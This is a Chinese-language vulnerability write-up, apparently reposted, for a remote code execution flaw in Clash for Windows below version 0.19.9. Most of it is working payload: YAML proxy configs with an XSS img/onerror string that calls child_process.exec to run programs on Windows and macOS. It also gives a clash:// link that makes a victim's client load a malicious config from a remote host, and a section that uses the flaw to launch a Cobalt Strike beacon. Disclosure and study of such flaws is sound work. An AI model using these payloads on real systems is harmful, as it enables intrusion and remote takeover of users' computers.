crash_for_windows_pkg遠程代碼執行漏洞


漏洞詳情

crash_for_windows_pkg由 Electron 提供支持。如果 XSS 負載以代理的名義,我們可以遠程執行受害者計算機上的任何 JavaScript 代碼。

image-20220226224647047

受影響的沖突版本_for_windows_pkg

版本:< 0.19.9

平台:windows,mac

操作系統細節:Windows 10

驗證

1.新建一個yaml配置文件,內容具體如下:

port: 7890
socks-port: 7891
allow-lan: true
mode: Rule
log-level: info
external-controller: :9090
proxies:
  - name: a<img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>
    type: socks5
    server: 127.0.0.1
    port: "17938"
    skip-cert-verify: true
  - name: abc
    type: socks5
    server: 127.0.0.1
    port: "8088"
    skip-cert-verify: true

proxy-groups:
  -
    name: <img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>
    type: select
    proxies:
    - a<img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>

2.打開clash,在Pprofiles中導入剛剛創建的配置文件

image-20220226225510800

3.在proxies中點擊圖片鏈接即可觸發。

image-20220226225616304

image-20220226225742259

mac腳本

在mac中只是部分代碼不同

代碼如下:

port: 7890
socks-port: 7891
allow-lan: true
mode: Rule
log-level: info
external-controller: :9090
proxies:

  - name: a<img/src="1"/onerror=eval(`require("child_process").exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");`);>
    type: socks5
    server: 127.0.0.1
    port: "17938"
    skip-cert-verify: true
  - name: abc
    type: socks5
    server: 127.0.0.1
    port: "8088"
    skip-cert-verify: true

proxy-groups:
  -
    name: <img/src="1"/onerror=eval(`require("child_process").exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");`););`);>
    type: select
    proxies:

   - a<img/src="1"/onerror=eval(`require("child_process").exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");`);>

另一種利用方式

將惡意配置文件放到互聯網上並用於clash://安裝它,clash_for_windows_pkg 將自動下載並切換到它。

如:

clash://install-config?url=http%3A%2F%2F1.1.1.1%3A8888%2F1.txt&name=RCE

上線CS

在CS上生成監聽,主要設置端口時不要與上面代碼中的端口出現重復,否則會報錯。

image-20220226230703072

接着生成可執行文件

image-20220226230737219

將生成的beacon.exe文件放置在目標機C盤中,接着修改配置文件中的路徑:

port: 7890
socks-port: 7891
allow-lan: true
mode: Rule
log-level: info
external-controller: :9090
proxies:
  - name: a<img/src="1"/onerror=eval(`require("child_process").exec("c:\\becaon.exe");`);>
    type: socks5
    server: 127.0.0.1
    port: "17938"
    skip-cert-verify: true
  - name: abc
    type: socks5
    server: 127.0.0.1
    port: "8088"
    skip-cert-verify: true

proxy-groups:
  -
    name: <img/src="1"/onerror=eval(`require("child_process").exec("c:\\becaon.exe");`);>
    type: select
    proxies:
    - a<img/src="1"/onerror=eval(`require("child_process").exec("c:\\becaon.exe");`);>

接着加載配置文件,最后點擊proxies中點擊圖片鏈接。返回CS,可以看見已經成功上線CS。

image-20220226231223319


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2026 CODEPRJ.COM